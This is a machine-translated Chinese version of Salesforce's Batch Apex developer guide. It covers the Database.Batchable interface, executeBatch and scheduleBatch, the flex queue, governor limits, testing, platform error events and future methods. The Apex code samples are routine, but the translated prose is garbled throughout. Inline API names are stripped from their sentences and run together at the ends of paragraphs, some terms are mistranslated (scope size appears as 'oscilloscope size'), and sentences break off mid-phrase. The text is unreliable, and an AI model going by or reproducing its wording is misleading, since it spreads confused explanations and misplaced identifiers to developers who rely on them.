要监控或停止批处理 Apex 作业的执行,请从“设置”中输入“快速查找”框,然后选择“Apex 作业”。Apex Jobs

实现 Database.Batchable 接口

该接口包含 必须实现的三种方法。

Database.Batchable

  • start方法:public (Database.QueryLocator | Iterable<sObject>) start(Database.BatchableContext bc) {}自 收集要传递给接口方法的记录或对象,在 批处理 Apex 作业。此方法返回一个对象或 iterable,包含传递给 工作。executestartDatabase.QueryLocator使用简单查询 () 生成范围时 批处理作业中的对象,请使用该对象。如果使用对象,则调控器 SOQL 查询检索的记录总数限制为 绕过。例如,Account 对象的批处理 Apex 作业可以 全部返回 A 组织中的帐户记录(最多 5000 万条记录)。另一个例子是 对 Contact 对象的共享重新计算,该对象为所有客户记录返回 在组织中。SELECTDatabase.QueryLocatorQueryLocatorQueryLocatorQueryLocator使用 iterable 为 批处理作业。您还可以使用迭代对象来创建自己的自定义 循环访问列表的过程。重要如果您使用 可迭代,记录总数的调控器限制 由 SOQL 查询检索到的仍会强制执行。欲了解更多信息 将可迭代对象用于批处理作业,请参阅 Batch Apex 最佳实践
  • execute方法:public void execute(Database.BatchableContext BC, list<P>){}自 对每个数据块进行所需的处理,请使用该方法。此方法是 为传递给它的每批记录调用。execute此方法 采取以下措施:
    • 对对象的引用。Database.BatchableContext
    • sObject 的列表,例如 或参数化的列表 类型。如果您使用的是 ,请使用返回的列表。List<sObject>Database.QueryLocator
    批量记录往往按照以下顺序执行 它们是从方法接收的。但是,批量记录的执行顺序取决于 在各种因素上。不保证执行顺序。start
  • finish方法:public void finish(Database.BatchableContext BC){}自 发送确认电子邮件或执行后处理操作,请使用该方法。此方法 在处理完所有批处理后调用。finish

批处理 Apex 作业的每次执行都被视为离散事务。例如 包含 1,000 条记录且在没有可选参数的情况下执行的批处理 Apex 作业被视为 200 条记录的 5 个事务 每。每个事务都会重置 Apex 调控器限制。如果第一个 事务成功,但第二个事务失败,第一个事务中的数据库更新 事务不会回滚。scopeDatabase.executeBatch

用 Database.BatchableContext

都 接口中的方法需要对对象的引用。使用此对象来跟踪 批处理作业的进度。Database.BatchableDatabase.BatchableContext以下是具有该对象的实例方法:

Database.BatchableContext

名字参数返回描述
getJobID编号以字符串形式返回与此批处理作业关联的 AsyncApexJob 对象的 ID。使用这个 方法跟踪批处理作业中记录的进度。你 还可以将此 ID 与 System.abortJob 方法一起使用。

以下示例使用 查询与批处理关联的 工作。Database.BatchableContextAsyncApexJob

public void finish(Database.BatchableContext BC){
   // Get the ID of the AsyncApexJob representing this batch job
   // from Database.BatchableContext.
   // Query the AsyncApexJob object to retrieve the current job's information.
   AsyncApexJob a = [SELECT Id, Status, NumberOfErrors, JobItemsProcessed,
      TotalJobItems, CreatedBy.Email
      FROM AsyncApexJob WHERE Id =
      :BC.getJobId()];
   // Send an email to the Apex job's submitter notifying of job completion.
   Messaging.SingleEmailMessage mail = new Messaging.SingleEmailMessage();
   String[] toAddresses = new String[] {a.CreatedBy.Email};
   mail.setToAddresses(toAddresses);
   mail.setSubject('Apex Sharing Recalculation ' + a.Status);
   mail.setPlainTextBody
   ('The batch Apex job processed ' + a.TotalJobItems +
   ' batches with '+ a.NumberOfErrors + ' failures.');
   Messaging.sendEmail(new Messaging.SingleEmailMessage[] { mail });
}

使用 Database.QueryLocator 定义 范围

该方法可以返回一个对象,该对象包含 要在批处理作业或可迭代对象中使用的记录。startDatabase.QueryLocator以下示例使用 :

Database.QueryLocator

public class SearchAndReplace implements Database.Batchable<sObject>{

   public final String Query;
   public final String Entity;
   public final String Field;
   public final String Value;

   public SearchAndReplace(String q, String e, String f, String v){

      Query=q; Entity=e; Field=f;Value=v;
   }

   public Database.QueryLocator start(Database.BatchableContext BC){
      return Database.getQueryLocator(query);
   }

   public void execute(Database.BatchableContext BC, List<sObject> scope){
     for(sobject s : scope){
     s.put(Field,Value); 
     }
     update scope;
    }

   public void finish(Database.BatchableContext BC){
   }
}

使用 Batch Apex 中的可迭代对象来定义 范围

该方法可以返回一个对象,该对象包含 要在批处理作业或可迭代对象中使用的记录。使用 iterable 单步执行 更容易退回物品。startDatabase.QueryLocator

public class batchClass implements Database.batchable{ 
   public Iterable start(Database.BatchableContext info){ 
       return new CustomAccountIterable(); 
   }     
   public void execute(Database.BatchableContext info, List<Account> scope){
       List<Account> accsToUpdate = new List<Account>();
       for(Account a : scope){ 
           a.Name = 'true'; 
           a.NumberOfEmployees = 70; 
           accsToUpdate.add(a); 
       } 
       update accsToUpdate; 
   }     
   public void finish(Database.BatchableContext info){     
   } 
}

使用 Database.executeBatch 方法提交批处理作业

您可以使用该方法 以编程方式开始批处理作业。

Database.executeBatch

重要

当您调用 时,Salesforce 会将流程添加到 队列。实际执行可能会根据服务延迟 可用性。Database.executeBatch该方法采用两个参数:

Database.executeBatch

  • 实现接口的类的实例。Database.Batchable
  • 可选参数 。此参数指定 要传递到方法中的记录。scopeexecute使用这个 参数,当您对要传递的每条记录执行许多操作时 并且正在遇到调控器限制。通过限制数量 记录,则限制了每笔交易的操作。此值 必须大于零。如果批处理类的方法返回 QueryLocator, 可选范围参数的最大值为startDatabase.executeBatch2,000.如果设置为更高的值,则 Salesforce 将 QueryLocator 返回的记录分块为更小的批次 最多 2,000 条记录。如果批处理的方法 类返回一个可迭代对象,scope 参数值没有上限。 但是,如果使用较高的数字,则可能会遇到其他限制。这 最佳示波器大小是 2000 的系数,例如 100、200、400 和 等等。start

该方法返回 AsyncApexJob 对象的 ID,可用于跟踪作业的进度。 例如:

Database.executeBatch

ID batchprocessid = Database.executeBatch(reassign);

AsyncApexJob aaj = [SELECT Id, Status, JobItemsProcessed, TotalJobItems, NumberOfErrors 
                    FROM AsyncApexJob WHERE ID =: batchprocessid ];

还可以将此 ID 与 System.abortJob 方法一起使用。

有关详细信息,请参阅对象中的 AsyncApexJob Salesforce 参考。

在 Apex Flex 中保存批处理作业 队列

使用 Apex flex 队列,您最多可以提交 100 个批次 工作。结果如下。

Database.executeBatch

  • 批处理作业将放置在 Apex flex 队列中,其状态设置为 。Holding
  • 如果 Apex flex 队列的最大作业数为 100 个,则抛出一个并且不添加该作业 到队列。Database.executeBatchLimitException

注意

如果您的组织未启用 Apex flex 队列,请将批处理作业添加到 具有状态的批处理作业队列。如果 已达到排队或活动批处理作业的并发限制,引发了 A,但作业未 排队。Database.executeBatchQueuedLimitException

对 Apex Flex 队列中的作业重新排序

提交时 作业的状态为 ,可以 在 Salesforce 用户界面中对它们重新排序,以控制哪些批处理作业是 首先处理。为此,请从“设置”中输入“快速查找”框,然后选择“Apex Flex” 队列HoldingApex Flex Queue

或者,您可以使用 Apex 方法重新排序 Flex 队列中的批处理作业。若要将作业移动到新位置,请调用 System.FlexQueue 方法之一。将作业 ID 传递给该方法, 如果适用,则为移动作业的新职位旁边的作业 ID。为 例:

Boolean isSuccess = System.FlexQueue.moveBeforeJob(jobToMoveId, jobInQueueId);

您可以对 Apex flex 队列中的作业重新排序,以确定作业的优先级。为 例如,您可以将批处理作业移动到保留队列中的第一个位置 当资源可用时,首先处理。否则,将处理作业 “先进先出”——按提交顺序排列。

当系统 资源变为可用,系统将从 Apex flex 队列,并将其移动到批处理作业队列。该系统可以处理多达 每个组织同时有 5 个排队或活动的作业。这些状态 将作业更改从 移动到 。排队的作业在系统执行时执行 已准备好处理新作业。您可以在 Apex 作业上监控排队的作业 页。HoldingQueued

批处理作业状态

下表列出了批处理作业的所有可能状态以及 每个的描述。

地位描述
占有作业已提交并保留在 Apex flex 队列中,直到 系统资源可用于对作业进行排队 加工。
排队作业正在等待执行。
准备方法 job 已被调用。此状态可能会持续几分钟,具体取决于 关于批量记录的大小。start
加工正在处理作业。
中止用户已中止作业。
完成作业已完成,但有或没有失败。
失败作业遇到系统故障。

使用 System.scheduleBatch 方法

您可以使用该方法 将批处理作业安排为在将来运行一次。System.scheduleBatch该方法采用以下参数。

System.scheduleBatch

  • 实现接口的类的实例。Database.Batchable
  • 作业名称。
  • 作业开始执行的时间间隔(以分钟为单位)。
  • 可选范围值。此参数指定要 传入方法。使用这个 参数,当您对要传递的每条记录执行许多操作时 并且正在遇到调控器限制。通过限制数量 记录,则限制了每笔交易的操作。此值 必须大于零。如果批处理类的方法返回 QueryLocator, 可选范围参数的最大值为executestartDatabase.executeBatch2,000.如果设置为更高的值,则 Salesforce 将 QueryLocator 返回的记录分块为更小的批次 最多 2,000 条记录。如果批处理的方法 类返回一个可迭代对象,scope 参数值没有上限。 但是,如果使用较高的数字,则可能会遇到其他限制。这 最佳示波器大小是 2000 的系数,例如 100、200、400 和 等等。start

该方法返回计划的作业 ID (CronTrigger ID)。System.scheduleBatch此示例将批处理作业安排在 60 分钟内运行 现在通过调用 .这 示例向此方法传递批处理类(变量)、作业名称和时间的实例 间隔 60 分钟。可选参数已 省略。该方法返回计划作业 ID,用于查询 CronTrigger 获取相应计划的状态 工作。

System.scheduleBatchreassignscope

String cronID = System.scheduleBatch(reassign, 'job example', 60);

CronTrigger ct = [SELECT Id, TimesTriggered, NextFireTime
                FROM CronTrigger WHERE Id = :cronID];

// TimesTriggered should be 0 because the job hasn't started yet.
System.assertEquals(0, ct.TimesTriggered);
System.debug('Next fire time: ' + ct.NextFireTime); 
// For example:
// Next fire time: 2013-06-03 13:31:23

有关详细信息,请参阅对象中的 CronTrigger Salesforce 参考。

注意

需要注意的一些事项:System.scheduleBatch

  • 当您调用 , Salesforce 计划在指定时间执行作业。实际 在该时间或之后执行,具体取决于服务 可用性。System.scheduleBatch
  • 调度程序作为系统运行——所有类都已执行,无论 用户是否有权执行该类。
  • 触发作业的计划时,系统会将批处理作业排入队列 加工。如果在您的组织中启用了 Apex flex 队列,则批处理作业为 添加到 Flex 队列的末尾。有关更多信息,请参阅将批处理作业保存在 Apex Flex 队列。
  • 所有计划的 Apex 限制都适用于批处理作业 计划使用 。批处理作业排队后(使用 状态为 或 ),所有批处理作业限制都适用 并且作业不再计入计划的 Apex 限制。System.scheduleBatchHoldingQueued
  • 调用此方法后,在批处理作业开始之前,可以使用 返回计划的作业 ID 以使用 System.abortJob 方法中止计划作业。

Batch Apex 示例

以下示例使用 :

Database.QueryLocator

public class UpdateAccountFields implements Database.Batchable<sObject>{
   public final String Query;
   public final String Entity;
   public final String Field;
   public final String Value;

   public UpdateAccountFields(String q, String e, String f, String v){
             Query=q; Entity=e; Field=f;Value=v;
   }

   public Database.QueryLocator start(Database.BatchableContext BC){
      return Database.getQueryLocator(query);
   }

   public void execute(Database.BatchableContext BC, 
                       List<sObject> scope){
      for(Sobject s : scope){s.put(Field,Value); 
      }      update scope;
   }

   public void finish(Database.BatchableContext BC){

   }

}

您可以使用以下代码调用上一个 类。

// Query for 10 accounts
String q = 'SELECT Industry FROM Account LIMIT 10';
String e = 'Account';
String f = 'Industry';
String v = 'Consulting';
Id batchInstanceId = Database.executeBatch(new UpdateAccountFields(q,e,f,v), 5);

若要排除已删除但仍在回收站中的帐户或发票, 包含在 SOQL 查询中 WHERE 子句,如这些修改后的 样品。

isDeleted=false

// Query for accounts that aren't in the Recycle Bin
String q = 'SELECT Industry FROM Account WHERE isDeleted=false LIMIT 10';
String e = 'Account';
String f = 'Industry';
String v = 'Consulting';
Id batchInstanceId = Database.executeBatch(new UpdateAccountFields(q,e,f,v), 5);
// Query for invoices that aren't in the Recycle Bin
String q = 
  'SELECT Description__c FROM Invoice_Statement__c WHERE isDeleted=false LIMIT 10';
String e = 'Invoice_Statement__c';
String f = 'Description__c';
String v = 'Updated description';
Id batchInstanceId = Database.executeBatch(new UpdateInvoiceFields(q,e,f,v), 5);

以下类使用批处理 Apex 重新分配特定用户拥有的所有帐户 给其他用户。

public class OwnerReassignment implements Database.Batchable<sObject>{
String query;
String email;
Id toUserId;
Id fromUserId;

public Database.querylocator start(Database.BatchableContext BC){
            return Database.getQueryLocator(query);}

public void execute(Database.BatchableContext BC, List<sObject> scope){
    List<Account> accns = new List<Account>();

   for(sObject s : scope){Account a = (Account)s;
        if(a.OwnerId==fromUserId){
            a.OwnerId=toUserId;
            accns.add(a);
            }
        }

update accns;
    
}
public void finish(Database.BatchableContext BC){
Messaging.SingleEmailMessage mail = new Messaging.SingleEmailMessage();

mail.setToAddresses(new String[] {email});
mail.setReplyTo('batch@acme.com');
mail.setSenderDisplayName('Batch Processing');
mail.setSubject('Batch Process Completed');
mail.setPlainTextBody('Batch Process has completed');

Messaging.sendEmail(new Messaging.SingleEmailMessage[] { mail });
}
}

使用以下命令执行上一个中的类 例。

OwnerReassignment

OwnerReassignment reassign = new OwnerReassignment();
reassign.query = 'SELECT Id, Name, Ownerid FROM Account ' + 
                'WHERE ownerid=\'' + u.id + '\'';
reassign.email='admin@acme.com';
reassign.fromUserId = u;
reassign.toUserId = u2;
ID batchprocessid = Database.executeBatch(reassign);

以下是用于删除的批处理 Apex 类的示例 记录。

public class BatchDelete implements Database.Batchable<sObject> {
   public String query;

   public Database.QueryLocator start(Database.BatchableContext BC){
      return Database.getQueryLocator(query);
   }

   public void execute(Database.BatchableContext BC, List<sObject> scope){
      delete scope;
      DataBase.emptyRecycleBin(scope);
   }

   public void finish(Database.BatchableContext BC){
   }
}

此代码调用批处理 Apex 类删除旧文档。指定的查询选择要删除的文档 指定文件夹中且早于指定文件夹的所有文档 日期。接下来,示例调用批处理 工作。

BatchDelete

BatchDelete BDel = new BatchDelete();
Datetime d = Datetime.now();
d = d.addDays(-1);
// Replace this value with the folder ID that contains
// the documents to delete.
String folderId = '00lD000000116lD';
// Query for selecting the documents to delete
BDel.query = 'SELECT Id FROM Document WHERE FolderId=\'' + folderId + 
    '\' AND CreatedDate < '+d.format('yyyy-MM-dd')+'T'+
    d.format('HH:mm')+':00.000Z';
// Invoke the batch job.
ID batchprocessid = Database.executeBatch(BDel);
System.debug('Returned batch process ID: ' + batchProcessId);

在 Batch Apex 中使用标注

要在批处理 Apex 中使用标注,请在类中指定 定义。为 例:

Database.AllowsCallouts

public class SearchAndReplace implements Database.Batchable<sObject>, 
   Database.AllowsCallouts{
}

标注包括使用 KEYWORD 定义的 HTTP 请求和方法。webservice

在 Batch Apex 中使用状态

批处理 Apex 作业的每次执行都被视为离散事务。例如 包含 1,000 条记录且在没有可选参数的情况下执行的批处理 Apex 作业被视为 200 个事务的 5 个事务 记录每个。scope

如果在 类定义,您可以在这些事务中维护状态。使用 时,仅限实例成员 变量在事务之间保留其值。静态成员变量不会 保留其值并在交易之间重置。维护状态很有用 用于在处理记录时对记录进行计数或汇总。例如,假设你的 作业流程商机记录。您可以定义一种方法来聚合商机的总数 处理时的金额。Database.StatefulDatabase.Statefulexecute

如果未指定 ,则所有 静态和实例成员变量将设置回其原始值。Database.Stateful以下示例将自定义字段total__c汇总为 记录是 处理。

public class SummarizeAccountTotal implements 
    Database.Batchable<sObject>, Database.Stateful{

   public final String Query;
   public integer Summary;
  
   public SummarizeAccountTotal(String q){Query=q;
     Summary = 0;
   }

   public Database.QueryLocator start(Database.BatchableContext BC){
      return Database.getQueryLocator(query);
   }
   
   public void execute(
                Database.BatchableContext BC, 
                List<sObject> scope){
      for(sObject s : scope){
         Summary = Integer.valueOf(s.get('total__c'))+Summary;
      }
   }

public void finish(Database.BatchableContext BC){
   }
}

此外,还可以指定一个变量来访问类的初始状态。你 可以使用此变量与方法的所有实例共享初始状态。为 例:

Database.Batchable

// Implement the interface using a list of Account sObjects
// Note that the initialState variable is declared as final

public class MyBatchable implements Database.Batchable<sObject> {
  private final String initialState;
  String query;
  
  public MyBatchable(String intialState) {
    this.initialState = initialState;
  }

  public Database.QueryLocator start(Database.BatchableContext BC) {
    // Access initialState here 
    
    return Database.getQueryLocator(query);
  }

  public void execute(Database.BatchableContext BC, 
                      List<sObject> batch) {
    // Access initialState here 
    
  }

  public void finish(Database.BatchableContext BC) {
    // Access initialState here 
    
  }
}

仅存储类的初始状态。您不能使用它在 在批处理作业执行期间类的实例。例如,如果将 in 的值,即已处理记录的第二个块 无法访问新值。只有初始值是可访问的。initialStateinitialStateexecute

测试 Batch Apex

在测试批处理 Apex 时,您可以测试 该方法仅执行一次。使用该方法的参数来限制 传递到方法中的记录 以确保您不会遇到调控器限制。executescopeexecuteBatchexecute

该方法启动一个异步进程。测试时 批处理 Apex,确保异步处理的批处理作业已完成 在对照结果进行测试之前。使用测试方法和方法,确保在继续操作之前完成 你的测试。executeBatchstartTeststopTestexecuteBatch系统将收集在该方法之后进行的所有异步调用。 执行时,全部异步 进程是同步运行的。如果未在 和 方法中包含该方法,则批处理作业将在测试结束时执行 方法。此执行顺序适用于使用 API 版本 25.0 保存的 Apex,并且 更高版本,但不适用于早期版本。startTeststopTestexecuteBatchstartTeststopTest

对于使用 API 版本 22.0 及更高版本保存的 Apex, 在执行测试调用的批处理 Apex 作业期间发生的异常 方法被传递给调用测试方法。因此,这些异常 导致测试方法失败。如果要在测试中处理异常 方法,将代码括在 AND 语句中。将块放在方法之后。但是,保存了 Apex 使用 Apex 版本 21.0 及更早版本,此类异常不会传递给 测试方法,并且不会导致测试方法失败。trycatchcatchstopTest

注意

异步调用, 例如 或 ,在 、 块中调用,则不计入 排队的作业。@futureexecuteBatchstartTeststopTest下面的示例测试 OwnerReassignment 类。

public static testMethod void testBatch() {
   user u = [SELECT ID, UserName FROM User 
             WHERE username='testuser1@acme.com'];
   user u2 = [SELECT ID, UserName FROM User 
              WHERE username='testuser2@acme.com'];
   String u2id = u2.id;
// Create 200 test accounts - this simulates one execute.  
// Important - the Salesforce test framework only allows you to 
// test one execute.  

   List <Account> accns = new List<Account>();
      for(integer i = 0; i<200; i++){
         Account a = new Account(Name='testAccount'+ i, 
                     Ownerid = u.ID); 
         accns.add(a);
      }
   
   insert accns;
   
   Test.StartTest();
   OwnerReassignment reassign = new OwnerReassignment();
   reassign.query='SELECT ID, Name, Ownerid ' +
            'FROM Account ' +
            'WHERE OwnerId=\'' + u.Id + '\'' +
            ' LIMIT 200';
   reassign.email='admin@acme.com';
   reassign.fromUserId = u.Id;
   reassign.toUserId = u2.Id;
   ID batchprocessid = Database.executeBatch(reassign);
   Test.StopTest();

   System.AssertEquals(
           database.countquery('SELECT COUNT()'
              +' FROM Account WHERE OwnerId=\'' + u2.Id + '\''),
           200);  
   
   }
}

使用 和 方法执行以下操作 在测试上下文中对无操作作业进行排队和重新排序。System.Test.enqueueBatchJobsSystem.Test.getFlexQueueOrder

Batch Apex 限制

请记住以下调速器限制和其他限制 用于批处理 Apex。

  • 最多可以同时排队或活动 5 个批处理作业。
  • 最多可以有 100 个批处理作业 保存在 Apex flex 队列中。Holding
  • 在运行测试中,您最多可以提交 5 个批处理作业。
  • 每 24 小时期间批量执行 Apex 方法的最大次数为 250,000,或组织中的用户许可证数量乘以 200 – 以较大者为准。方法执行包括 、 和 方法的执行。此限制适用于您的 整个组织,并与所有异步 Apex 共享:Batch Apex、Queueable Apex、计划的 Apex 和未来的方法。检查有多少个异步 Apex 执行可用,向 REST API 资源发出请求。请参阅 REST API 开发人员指南中的列出组织限制。许可证 计入此限制的类型包括完整的 Salesforce 和 Salesforce 平台用户许可证、应用程序订阅用户许可证、仅限 Chatter 用户、 标识用户和公司社区用户。startexecutefinishlimits
  • 最多5000万记录可以是 在对象中返回。如果超过 5000 万条记录 返回,批处理作业将立即终止并标记为 失败。Database.QueryLocator
  • 如果批处理类的方法返回 QueryLocator, 可选范围参数的最大值为startDatabase.executeBatch2,000.如果设置为更高的值,则 Salesforce 将 QueryLocator 返回的记录分块为更小的批次 最多 2,000 条记录。如果批处理的方法 类返回一个可迭代对象,scope 参数值没有上限。 但是,如果使用较高的数字,则可能会遇到其他限制。这 最佳示波器大小是 2000 的系数,例如 100、200、400 和 等等。start
  • 如果未使用可选参数指定大小 之 Salesforce 将该方法返回的记录分块为scopeDatabase.executeBatchstart200记录。然后,系统将每个批次传递给该方法。Apex 调速器限制 在每次执行 时重置。executeexecute
  • 、 和 方法最多可以实现 100 个 每个标注。startexecutefinish
  • 一个组织中一次只能运行一个批处理 Apex 作业的方法。尚未启动的批处理作业 但仍保留在队列中,直到它们开始。此限制不 导致任何批处理作业失败,并且批处理 Apex 作业的方法仍并行运行,如果 多个作业正在运行。startexecute
  • 在 SOQL 查询中使用 更新期间的锁定记录不适用于 Batch Apex。FOR UPDATE
  • 游标和相关查询结果的有效期为 2 天,包括 导致嵌套查询。有关更多信息,请参阅 API 查询游标限制。

Batch Apex 最佳实践

  • 如果计划从触发器调用批处理作业,请格外小心。你 必须能够保证触发器添加的批处理作业不会超过 限制。具体而言,请考虑 API 批量更新、导入向导、批量记录 通过用户界面进行更改,以及多个记录可以更改的所有情况 一次更新。
  • 当您调用 , Salesforce 仅将作业放入队列中。实际执行可能会延迟 基于服务可用性。Database.executeBatch
  • 测试批处理 Apex 时,只能测试该方法的一次执行。使用方法的参数来限制传入该方法的记录数,以确保 没有遇到调速器限制。executescopeexecuteBatchexecute
  • 该方法启动一个 异步进程。测试批处理 Apex 时,请确保 异步处理的批处理作业在针对 结果。使用 Test 方法和围绕该方法确保它 在继续测试之前完成。executeBatchstartTeststopTestexecuteBatch
  • 与类一起使用 如果要在作业之间共享实例成员变量或数据,请进行定义 交易。否则,所有成员变量都将重置为其初始状态 在每笔交易开始时。Database.Stateful
  • 声明为 not 的方法 在实现接口的类中允许。futureDatabase.Batchable
  • 声明为 can’t be 的方法 从批处理 Apex 类调用。future
  • 运行批处理 Apex 作业时,将向以下用户发送电子邮件通知: 提交了批处理作业。如果代码包含在托管包中,并且 订阅组织正在运行批处理作业,通知将发送到 Apex 异常通知中列出的收件人 收件人字段。
  • 每个方法执行都使用标准的 governor limits 匿名块, Visualforce 控制器或 WSDL 方法。
  • 每个批处理 Apex 调用都会创建一条记录。构造 SOQL 查询以检索 作业的状态、错误数、进度和提交者,请使用记录的 ID。AsyncApexJobAsyncApexJob有关该对象的详细信息,请参阅 Salesforce 对象参考中的 AsyncApexJob。AsyncApexJob
  • 对于每 10,000 条记录, Apex 创建记录 供内部使用的类型。 查询所有记录时,建议使用该字段筛选出类型的记录。否则,查询将返回 每 10,000 条记录多一条记录。有关该对象的详细信息,请参阅 Salesforce 对象参考中的 AsyncApexJob。AsyncApexJobAsyncApexJobBatchApexWorkerAsyncApexJobBatchApexWorkerJobTypeAsyncApexJobAsyncApexJob
  • 所有实现的接口方法都必须定义为 或 。Database.Batchablepublicglobal
  • 对于共享重新计算,建议方法删除,然后重新创建 批处理中记录的所有 Apex 托管共享。此过程可确保 共享准确完整。execute
  • 在 Salesforce 服务维护停机之前排队的批处理作业仍保留在 队列。服务停机结束后,当系统资源可用时, 将执行排队的批处理作业。如果批处理作业在停机时正在运行 发生时,批处理执行将在服务后回滚并重新启动 回来了。
  • 如果可能,请尽量减少批次数。Salesforce 使用基于队列的 用于处理来自未来方法等来源的异步过程的框架 和批处理 Apex。此队列用于平衡跨 组织。如果超过 2,000 个未处理的请求来自单个 组织在队列中,来自同一的任何其他请求 当队列处理来自其他组织的请求时,组织将被延迟 组织。
  • 确保批处理作业尽可能快地执行。为确保快速执行 批处理作业,最大限度地减少 Web 服务标注时间,并优化 批处理 Apex 代码。批处理作业执行的时间越长,其他排队的可能性就越大 当队列中有许多作业时,作业会延迟。
  • 如果将批处理 Apex 与通过 OData 访问外部对象 Salesforce Connect 适配器:Database.QueryLocator
    • 在外部数据源上启用请求行计数,并且每个 来自外部系统的响应必须包括总行数 的结果集。
    • 建议在外部数据上启用服务器驱动的分页 源并让外部系统确定页面大小和批次 大型结果集的边界。通常,服务器驱动的分页 可以调整批次边界以适应不断变化的数据集 比客户端驱动的寻呼更有效。当服务器驱动时 在外部数据源 OData 上禁用分页 适配器控制分页行为(客户端驱动)。如果 外部对象记录被添加到外部系统,而 作业运行,其他记录可以处理两次。如果外部 在执行作业时,将从外部系统中删除对象记录 运行,可以跳过其他记录。
    • 在外部数据上启用服务器驱动分页时 source,运行时的批处理大小为以下较小值:
      • 参数中指定的批大小。 默认值为 200 条记录。scopeDatabase.executeBatch
      • 外部系统返回的页面大小。我们建议 将外部系统设置为返回 200 的页面大小 或更少的记录。
  • 当方法通过 子查询。避免在 a 中出现关系子查询允许批处理作业使用更快的分块 实现。如果方法 返回一个可迭代对象或一个具有关系子查询的对象,批处理作业使用较慢的非分块, 实现。例如,如果在 中使用以下查询,则批处理作业使用较慢的 由于关系子查询而实现:startQueryLocatorQueryLocatorstartQueryLocatorQueryLocatorSELECT Id, (SELECT id FROM Contacts) FROM Account更好的策略是从执行中单独执行子查询 方法,允许批处理作业使用更快的分块运行 实现。
  • 若要在批处理作业中实现记录锁定,可以重新查询记录 在 execute() 方法中,如有必要,请使用 FOR UPDATE。这确保了 批处理作业中的 DML 不会覆盖任何冲突的更新。重新查询 记录,只需在批处理作业的主查询定位符中选择 Id 字段即可。

链接批处理作业

从 API 版本 26.0 开始,您可以从现有的 批处理作业,将作业链接在一起。链接批处理作业以在另一个作业之后启动作业 完成以及作业需要批处理时(例如处理大型时) 数据量。否则,如果不需要批处理,请考虑使用 Queueable Apex。

可以通过调用 或 从当前批处理类的方法链接批处理作业。新的批处理作业将开始 当前批处理作业完成后。Database.executeBatchSystem.scheduleBatchfinish

对于以前的 API 版本,您无法从任何批处理 Apex 方法调用或调用。的版本 used 是正在运行的批处理类的版本,该批处理类启动或计划另一个 批处理作业。如果 运行 Batch 类会调用帮助程序类中的方法以启动 Batch 作业,即 API 帮助程序类的版本无关紧要。Database.executeBatchSystem.scheduleBatchfinish

从 Batch Apex 触发平台事件

Batch Apex 类可以在以下情况下触发平台事件 遇到错误或异常。侦听事件的客户端可以获取可操作的 信息,例如事件失败的频率以及哪些记录在 故障时间。对于Salesforce Platform内部错误和其他 无法捕获的 Apex 异常,例如 LimitExceptions,这些异常是由 调速器限制。

事件消息提供比 Apex Jobs UI 更精细的错误跟踪。它包括 正在处理的记录 ID、异常类型、异常消息和堆栈跟踪。你 还可以合并自定义处理和失败重试逻辑。您可以调用自定义 来自此类事件的任何触发器的 Apex 逻辑,因此 Apex 开发人员可以构建 自定义日志记录或自动重试处理等功能。

有关订阅平台事件的信息,请参阅订阅平台事件。

BatchApexErrorEvent 对象表示与批处理 Apex 关联的平台事件 类。此对象在 API 版本 44.0 及更高版本中可用。如果 、 或 方法 批处理 Apex 作业遇到未处理的异常,将触发平台事件。有关详细信息,请参阅《平台事件开发人员指南》中的 BatchApexErrorEvent。startexecutefinishBatchApexErrorEvent要触发平台事件,批处理 Apex 类声明必须实现 Database.RaisesPlatformEvents 接口。

public with sharing class YourSampleBatchJob implements Database.Batchable<SObject>, 
   Database.RaisesPlatformEvents{ 
   // class implementation 
}

此示例创建一个触发器,以确定哪些帐户在批处理中失败 交易。自定义字段 Dirty__c 指示该帐户是失败批次之一 ExceptionType__c表示遇到的异常。JobScope 和 ExceptionType 是 BatchApexErrorEvent 中的字段 对象。

trigger MarkDirtyIfFail on BatchApexErrorEvent (after insert) {
    Set<Id> asyncApexJobIds = new Set<Id>();
    for(BatchApexErrorEvent evt:Trigger.new){
        asyncApexJobIds.add(evt.AsyncApexJobId);
    }
    
    Map<Id,AsyncApexJob> jobs = new Map<Id,AsyncApexJob>(
        [SELECT id, ApexClass.Name FROM AsyncApexJob WHERE Id IN :asyncApexJobIds]
    );
    
    List<Account> records = new List<Account>();
    for(BatchApexErrorEvent evt:Trigger.new){
        //only handle events for the job(s) we care about
        if(jobs.get(evt.AsyncApexJobId).ApexClass.Name == 'AccountUpdaterJob'){
            for (String item : evt.JobScope.split(',')) {
                Account a = new Account(
                    Id = (Id)item,
                    ExceptionType__c = evt.ExceptionType,
                    Dirty__c = true
                );
                records.add(a);
            }
        }
    }
    update records;
}

测试从 Batch Apex 作业发布的 BatchApexErrorEvent 消息

使用方法 以传送由失败的批处理 Apex 作业发布的事件消息。使用 and 语句块执行 批处理作业。Test.getEventBus().deliver()Test.startTest()Test.stopTest()

此代码片段演示如何执行批处理 Apex 作业并传递事件消息。它 在 之后执行批处理作业。此批处理作业发布 BatchApexErrorEvent 消息 当通过实现 发生故障时。运行后,将添加一个单独的语句,以便它可以传递 BatchApexErrorEvent。Test.stopTest()Database.RaisesPlatformEventsTest.stopTest()Test.getEventBus().deliver()

try {
    Test.startTest();
    Database.executeBatch(new SampleBatchApex());
    Test.stopTest();
    // Batch Apex job executes here
} catch(Exception e) {
    // Catch any exceptions thrown in the batch job
}

// The batch job fires BatchApexErrorEvent if it fails, so deliver the event.
Test.getEventBus().deliver();

注意

如果下游进程发布了进一步的平台事件,请添加以交付 每个进程的事件消息。例如,如果一个平台事件触发,则 处理来自 Apex 作业的事件,发布另一个平台事件,添加语句 传递事件消息。Test.getEventBus().deliver();Test.getEventBus().deliver();

未来方法

将来的方法在后台异步运行。您可以调用 future 方法 执行长时间运行的操作,例如对外部 Web 服务或任何 您希望在自己的线程中,在自己的时间运行的操作。您还可以使用 future 对不同 sObject 类型进行 DML 操作隔离的方法,以防止混合 DML 错误。每个将来的方法都排队,并在系统资源可用时执行。 这样,代码的执行就不必等待 长时间运行的操作。使用未来方法的一个好处是,某些调速器限制 更高,例如 SOQL 查询限制和堆大小限制。

要定义将来的方法,只需使用注释对其进行注释,如下所示。future

global class FutureClass
{
    @future
    public static void myFutureMethod()
    {   
         // Perform some operations
    }
}

带有注解的方法必须是 static 方法,并且只能返回 void 类型。指定的参数必须是 基元数据类型、基元数据类型的数组或基元数据的集合 类型。带有注解的方法不能 将 sObjects 或 objects 作为参数。futurefuture

sObjects 不能作为参数传递给未来方法的原因是 sObject 可以在调用方法的时间和执行方法的时间之间更改。在 在这种情况下,future 方法会获取旧的 sObject 值并可以覆盖它们。工作 替换为数据库中已存在的 sObject,而是传递 sObject ID(或 集合),并使用该 ID 对最新记录执行查询。这 以下示例演示如何使用 ID 列表执行此操作。

